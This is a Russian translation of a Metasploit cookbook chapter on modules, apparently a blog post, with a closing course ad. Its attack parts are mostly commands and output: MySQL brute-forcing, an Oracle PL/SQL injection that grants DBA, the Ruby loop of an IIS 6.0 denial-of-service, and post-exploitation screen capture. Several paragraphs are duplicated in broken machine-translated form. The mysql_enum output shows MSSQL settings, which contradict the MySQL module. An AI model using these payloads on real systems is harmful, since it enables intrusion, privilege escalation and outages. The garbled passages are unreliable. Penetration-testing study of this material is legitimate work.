Перевод седьмой части книги «Metasploit Penetration Testing Cookbook»
Глава 7. Работа с модулями
В этой главе изучим следующее:
- Работа со вспомогательными скан-модулями
- Работа со вспомогательными админ-модулями
- SQL injection и DOS модули
- Пост-эксплуатационные модули
- Основы создания модулей
- Анализ модулей
- Создание пост-эксплуатационного модуля
Введение
В первой главе мы говорили про основы Metasploit. Мы начали с того, что он имеет модульную архитектуру. Это значит, что все exploits, payloads, encoders и т.д. присутствуют в виде модулей. Модульная архитектура позволяет легко расширить функциональность фреймворка. Любой программист может разработать свой собственный модуль и легко включить его в Metasploit framework. Процесс тестирования на проникновение может включать в себя несколько модулей при эксплуатации системы. Например, мы начинаем с эксплуатационного модуля, потом начинаем использовать модуль полезной нагрузки (payload), потом можем использовать несколько пост-эксплуатационных модулей. Наконец, можем воспользоваться различными модулями для подключения к БД, чтобы сохранить наши выводы и результаты.
В этой главе особое внимание уделяется каталогу /pentest/exploits/framework3/modules, который содержит полный перечень полезных модулей, которые помогут нам в тестировании на проникновение.
Работа со вспомогательными скан-модулями
Давайте начнем с модулей сканирования. Мы уже подробно изучили сканирование, когда говорили про nmap. В этом рецепте проанализируем некоторые готовые модули, которые поставляются с Metasploit. Хотя nmap представляет из себя мощный инструмент сканирования, существуют ситуации в которых необходим особый тип сканирования, например сканирование на наличие БД MySQL. Чтобы найти список доступных сканеров, мы должны перейти в /pentest/exploits/framework3/modules/auxiliary/scanner. Давайте начнем с основного HTTP сканера.
Рассмотрим dir_scanner. Сценарий будет сканировать хост или всю сеть для поиска интересных списков каталогов, которые могут быть дополнительно изучены для сбора информации.
msf > use auxiliary/scanner/http/dir_scanner msf auxiliary(dir_scanner) > show options Module options (auxiliary/scanner/http/dir_scanner): Name Current Setting Required Description ---- --------------- -------- ----------- DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no Path of word dictionary to use PATH / yes The path to identify files RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host
Команда show options, покажет доступные опции, которые можно включить в модуле.
Давайте рассмотрим конкретный пример. Модуль mysql_login, который сканирует цель на наличие MySQL сервера и если находит, пытается выйти в БД используя грубую силу для атаки:
msf > use auxiliary/scanner/mysql/mysql_login msf > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts
Как видите, модуль содержит много параметров. Можно указать файлы с именами пользователей и паролей. Давайте так и сделаем:
msf auxiliary(mysql_login) > set USER_FILE /users.txt USER_FILE => /users.txt msf auxiliary(mysql_login) > set PASS_FILE /pass.txt PASS_FILE => /pass.txt
Теперь мы готовы использовать брут. Осталось указать цель и запустить модуль:
msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf auxiliary(mysql_login) > run [*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a [*] 192.168.56.101:3306 Trying username:'administrator' with password:''
Вывод показывает, что модуль начал процесс с поиска MySQL сервера на цели. После чего он начал подставлять комбинации имя пользователя/пароль, которые находятся в файлах.
Работа со вспомогательными админ-модулями
Изучим несколько admin-модулей. Модули могут служить различным целям, например поиск админ-панели или проверка на дефолтные логин/пароль. Все это зависит от функциональных возможностей. Рассмотрим mysql_enum:
msf > use auxiliary/admin/mysql/mysql_enum msf > show options Module options (auxiliary/admin/mysql/mysql_enum): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to authenticate as
Как видите, модуль принимает параметры логин, пароль и RHOST. Его можно использовать для поиска БД MySQL, а также для брута. Проанализируем выполнение команды:
msf auxiliary(mysql_enum) > exploit [*] Configuration Parameters: [*] C2 Audit Mode is Not Enabled [*] xp_cmdshell is Enabled [*] remote access is Enabled [*] allow updates is Not Enabled [*] Database Mail XPs is Not Enabled [*] Ole Automation Procedures are Not Enabled [*] Databases on the server: [*] Database name:master
Модуль возвращает много полезной информации. Он говорит нам, что cmdshell и удаленный доступ были включены на целевой MySQL. Он также возвращает имя БД, которая запущенна как процесс на целевой машине.
Существует несколько подобных модулей для других служб, таких как MSSQL и Apache. Принцип работы у всех одинаковый. Не забудьте использовать команду show options для того, чтобы убедиться, что вы передаете необходимые параметры.
SQL injection и DOS модули
Модуль SQL injection использует известные уязвимости, введите ее использования и предоставления несанкционированного доступа. Уязвимость, как известно, влияет на Oracle 9i и 10g. Metasploit содержит несколько модулей, использующих известные уязвимости в Oracle. Модули можно найти в modules/auxiliary/sqli/oracle.
Проанализируем oracle уязвимость Oracle DBMS_METADATA XML. Эта уязвимость будет производить эскалацию привилегий с DB_USER до DB_ADMINISTRATOR (Администратор БД). Будем использовать модуль dbms_metadata_get_xml:
msf > use auxiliary/sqli/oracle/dbms_metadata_get_xml msf > show options Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml): Name Current Setting Required Description ---- --------------- -------- ----------- DBPASS TIGER yes The password to authenticate with. DBUSER SCOTT yes The username to authenticate with. RHOST yes The Oracle host. RPORT 1521 yes The TNS port. SID ORCL yes The sid to authenticate with. SQL GRANT DBA to SCOTT no SQL to execute.
База данных сначала проверяет вход в систему, используя учетные данные по умолчанию «scott» и «tiger». Когда модуль получает вход в качестве пользователя базы данных, затем он выполняет вредоносный код для эскалации привилегий до администратора базы данных.
msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1 msf auxiliary(dbms_metadata_get_xml) > set SQL YES msf auxiliary(dbms_metadata_get_xml) > run
Следующий модуль, который расмотрим, связан с атакой отказ в обслуживании (DOS). Мы будем анализировать простую уязвимостиь IIS 6.0, которая позволяет злоумышленнику уронить (crash) сервер путем отправки POST запроса, содержащий более чем 40000 параметров запроса (request parameters). Этот модуль был протестирован на непропатченной Windows 2003 сервере под управлением IIS 6.0. В качестве модуля будем использовать ms10_065_ii6_asp_dos:
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos msf auxiliary(ms10_065_ii6_asp_dos) > show options Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port URI /page.asp yes URI to request VHOST no The virtual host name to use in requests msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1 RHOST => 192.168.56.1 msf auxiliary(ms10_065_ii6_asp_dos) > run [*] Attacking http://192.168.56.1:80/page.asp
После команды run, модуль начнет атаковать целевой сервер IIS, отправив HTTP запрос на 80 порт с URI в виде page.asp. Успешное выполнение модуля будет приводить к полному отказу в обслуживании сервера IIS.
Базы данных oracle уязвимость эксплуатируется с помощью инъекций пользовательскую функцию PL/SQL, который выполняется в SYS контексте, и это возвышает привилегии пользователя «scott» в качестве администратора.
Давайте посмотрим на две уязвимости. Oracle базы данных уязвимости путем Уязвимость выполняется путем инъекций пользовательской функции PL/SQL, которая выполняется в контексте SYS и повышает права пользователя «scott» до администратора.
Пример функции:
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END;
Функция приведет к эскалации привилегий пользователя «scott».
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
В предыдущих строках кода объясняется процесс инъекции. Детальный анализ уязвимости в программном обеспечении Oracle выходит за рамки книги/перевода.
Сейчас идет DOS-атаку модуль, который использует уязвимость в IIS 6.0 сервер. Злоумышленник отправляет POST-запрос, который включает в себя более 40000 параметров запроса, и отправляется в форме application/x-www-form-urlencoded, тип кодировки. Вот часть сценария, который служит модуль:
Теперь рассмотрим модуль для DOS атаки, который эксплуатирует уязвимость в сервере IIS 6.0. Злоумышленник отправляет POST-запрос, который включает более чем 40000 параметров запроса (request parameters) и отправляет в виде application/x-www-form-urlencoded, тип кодировки.
while(1) begin connect payload = "C=A&" * 40000 length = payload.size sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n" sploit << "Host: #{datastore['VHOST'] || rhost}\r\n" sploit << "Connection:Close\r\n" sploit << "Content-Type: application/x-www-form-urlencoded\r\n" sploit << "Content-Length:#{length} \r\n\r\n" sploit << payload sock.put(sploit) #print_status("DoS packet sent.") disconnect rescue Errno::ECONNRESET next end end
Как видите, скрипт генерирует размер полезной нагрузки более чем 40000. Затем устанавливается соединение на порт 80, для отправки HTTP-запроса на сервер IIS. После того, как запрос был передан на сервер, он рухнет и перестанет работать.
Пост-эксплуатационные модули
Мы имеем отдельный выделенный список модулей, которые могут улучшить наши навыки в пентесте. Так как они пост-эксплуатационные модули, то мы будем нуждаться в активной сессии с целью. Можем использовать любой из методов, описанных в предыдущих главах, чтобы получить доступ к цели.
Пост-модули — коллекция наиболее интересных и удобных функций, которые вы можете использовать во время тестирования на проникновение. Давайте быстро проанализируем некоторые из них. Будем использовать не пропаченую Windows 7 с активной meterpreter сессией.
Давайте начнем с простого enum_logged_on_users модуля. Он показывает список пользователей, вошедших в систему Windows.
meterpreter > getsystem ...got system (via technique 4). meterpreter > run post/windows/gather/enum_logged_on_users [*] Running against session 1 Current Logged Users ==================== SID User --- ---- S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD Recently Logged Users ===================== SID Profile Path --- ------------ S-1-5-18 %systemroot%\system32\config\systemprofile S-1-5-19 C:\Windows\ServiceProfiles\LocalService S-1-5-20 C:\Windows\ServiceProfiles\NetworkService S-1-5-21-23502 C:\Users\DARKLORD S-1-5-21-235 C:\Users\Winuser
Успешное выполнение модуля показывает нам две таблицы. Первая таблица показывает пользователя, вошедшего в систему, а вторая таблица отражает недавно вошедшего в систему пользователя.
Возьмем еще один пример. Есть интересный пост-модуль, который делает скриншот экрана на целевой машине.
meterpreter > run post/windows/gather/screen_spy [*] Migrating to explorer.exe pid: 1104 [*] Migration successful [*] Capturing 60 screenshots with a delay of 5 seconds
Можете проанализировать сценарии enum_logged_on_user.rb и screen_spy.rb в modules/post/windows/gather. Они помогут получить представление о том, как эти модули работают.
Основы создания модулей
Чтобы начать создание собственного модуля нам понадобятся базовые знания о Ruby. Мы уже обсуждали использование и реализацию Ruby в meterpreter скриптинге.
Начнем с основ. Для того, чтобы модуль был читаем для Metasploit, нужно импортировать MSF библиотеки:
require ‘msf/core’
Эта строка указывает, что модуль будет включать все зависимости и функции Metasploit framework.
class Metasploit3 < Msf::Auxiliary
Эта строка определяет класс, который наследует свойства вспомогательной семьи (auxiliary family). Вспомогательный модуль может импортировать несколько функции, такие как сканирование, открытие соединения, использование БД и так далее:
include Msf::
Оператор include используется для включения конкретной функциональности фреймворка в модуль. Например, если строим модуль сканера, тогда можно включить его как:
include Msf::Exploit::Remote::TCP
Эта линия будет включать в себя функциональность удаленного TCP-сканирования.
def initialize super( 'Name' => 'TCP Port Scanner', 'Version' => '$Revision$', 'Description' => 'Enumerate open TCP services', 'Author' => [ darklord ], 'License' => MSF_LICENSE )
Cтроки сценария дают нам сведения о модуле, его название, версия, автор, описание и т.д.
register_options( [ OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)", "1-10000"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class) deregister_options('RPORT')
Анализ модулей
Сейчас будем анализировать ftp-модуль. Мы уже обсуждали базовый шаблон модуля в предыдущем рецепте поэтому здесь будем исходить из основной части скрипта.
Для анализа возьмем модуль анонимного ftp доступа. Основной сценарий находтится по следующему адресу: pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb
Полный скрипт для справки:
class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' => 'Anonymous FTP Access Detection', 'Version' => '$Revision: 14774 $', 'Description' => 'Detect anonymous (read/write) FTP server access.', 'References' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],], 'Author' => 'Matteo Cantoni <goony[at]nothink.org>', 'License' => MSF_LICENSE ) register_options([Opt::RPORT(21),], self.class) end def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8) if res write_check = send_cmd( ['MKD', dir] , true) if (write_check and write_check =~ /^2/) send_cmd( ['RMD', dir] , true) print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})") access_type = "rw" else print_status("#{target_host}:#{rport} Anonymous READ (#{banner})") access_type = "ro" end report_auth_info( :host => target_host, :port => rport, :sname => 'ftp', :user => datastore['FTPUSER'], :pass => datastore['FTPPASS'], :type => "password_#{access_type}", :active => true ) end disconnect rescue ::Interrupt raise $! rescue ::Rex::ConnectionError, ::IOError end end end
Проанализируем, как работает скрипт:
def run_host(target_host) begin res = connect_login(true, false) banner.strip! if banner dir = Rex::Text.rand_text_alpha(8)
Эта функция используется, чтобы начать подключение. Переменная res содержит логическое значение true или false. Функция connect_login установлевает соединение с удаленным хостом.
if res write_check = send_cmd( ['MKD', dir] , true) if (write_check and write_check =~ /^2/) send_cmd( ['RMD', dir] , true) print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})") access_type = "rw" else print_status("#{target_host}:#{rport} Anonymous access_type="ro"
Как только соединение будет установлено, модуль пытается проверить, имеет ли анонимный пользователь права на чтение/запись или нет. write_check проверяет, возможна ли операция записи или нет. Затем проверяется, является ли операция успешна или нет. В зависимости от статуса привилегий, печатается сообщение на экране. Если операция записи «провалилась», то статус печатается как ro или только для чтения (read-only):
report_auth_info( :host => target_host, :port => rport, :sname => 'ftp', :user => datastore['FTPUSER'], :pass => datastore['FTPPASS'], :type => "password_#{access_type}", :active => true ) end
Это было небольшой демонстрацией того, как модуль функционирует во фреймворке. Вы можете изменить существующие скрипты для удовлетворения ваших потребностей.
В следующем примере увидим, как создать свой собственный модуль и загрузить его во фреймворк.
Создание пост-эксплуатационного модуля
Давайте создадим небольшой пост-эксплуатационный модуль, который будет перечислять все установленные приложения на целевой машине.
Чтобы начать с создания модуля, мы сначала импортировать рамках библиотеки и включать требуемые зависимости:
Сначала импортируем фреймворк библиотеки и включим требуемые зависимости:
require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry def initialize(info={}) super(update_info( info, 'Name' => 'Windows Gather Installed Application Enumeration', 'Description' => %q{ This module will enumerate all installed applications }, 'License' => MSF_LICENSE, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end
Сценарий начинается с включая библиотек ядра Metasploit. Затем мы создаем класс, который расширяет свойства модулей Msf::Post.
Далее, мы создаем функцию инициализации, которая используется для инициализации и определение модуля свойства и описание. Это основная структура остается такой же, почти во всех модулей.
Далее мы создаем функцию инициализации, которая используется для инициализации и определения свойства модуля. Эта базовая структура остается такой почти во всех модулях.
Здесь следует отметить то, что мы включили «rex«, а также библиотеки «реестра».
Теперь нашим следующим шагом будет создать таблицу, которая может отображать наш извлеченный результат. У нас есть специальная библиотека Rex::Ui::Text, которая может использоваться для выполнения этой задачи.
def app_list tbl = Rex::Ui::Text::Table.new( 'Header' => "Installed Applications", 'Indent' => 1, 'Columns' => ["Name", "Version" ]) appkeys = [ 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', 'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', 'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', ] apps = [] appkeys.each do |keyx86| found_keys = registry_enumkeys(keyx86) if found_keys found_keys.each do |ak| apps << keyx86 +"\\" + ak end end end
Тело скрипта начинается с построения таблицы и различных имен столбцов. Затем создается отдельный массив в реестре, который будет использоваться для перечисления списка приложений. Массив будет состоять из различных строк реестра, которые содержат информацию об установленных приложениях на целевом компьютере. Данные приложения хранятся в отдельном массиве, названный как apps.
Итак, мы начинаем обрабатывать перечисление запустив цикл, который смотрит в разных местах реестра хранятся в appskey массива. Затем начинается процесс перечисления, запустив цикл, который смотрит в разные локации в реестре и хранится в массиве appskey:
t = [ ] while(not apps.empty?) 1.upto(16) do t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k| begin dispnm = registry_getvaldata("#{k}","DisplayName") dispversion = registry_getvaldata("#{k}","DisplayVersion") tbl << [dispnm,dispversion] if dispnm and dispversion rescue end end
Следующие строки сценария заполняют таблицы с разными значениями в соответствующих столбцах. Сценарий использует встроенную функцию registry_getvaldata, которая извлекает значения и добавляет их в таблицу:
results = tbl.to_s print_line("\n" + results + "\n") p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications") print_status("Results stored in: #{p}") end def run print_status("Enumerating applications installed on #{sysinfo['Computer']}") app_list end end
Последние несколько строк скрипта используются для хранения информации, в отдельный текстовый файл с именем applications.txt. Файл заполняется с использованием store_loot функция, которая сохраняет полную таблицу в текстовый файл.
Последние несколько строк сценария используются для хранения информации в отдельном текстовом файле с именем applications.txt. Файл заполняется с помощью функции store_loot, которая хранит полную таблицу в текстовом файле.
Наконец, результат отображается на экране о том, что файл был создан. Это был небольшой пример того, как можно создать и добавить свой собственный модуль во фреймворке. Вам определенно нужны знания Ruby сценариев.
Кстати, для всех желающих освоить профессиональный инструмент пентестеров — Metasploit Framework — рекомендую курс-вебинар от Константина Левина: Тестирование на проникновение с использованием Metasploit Framework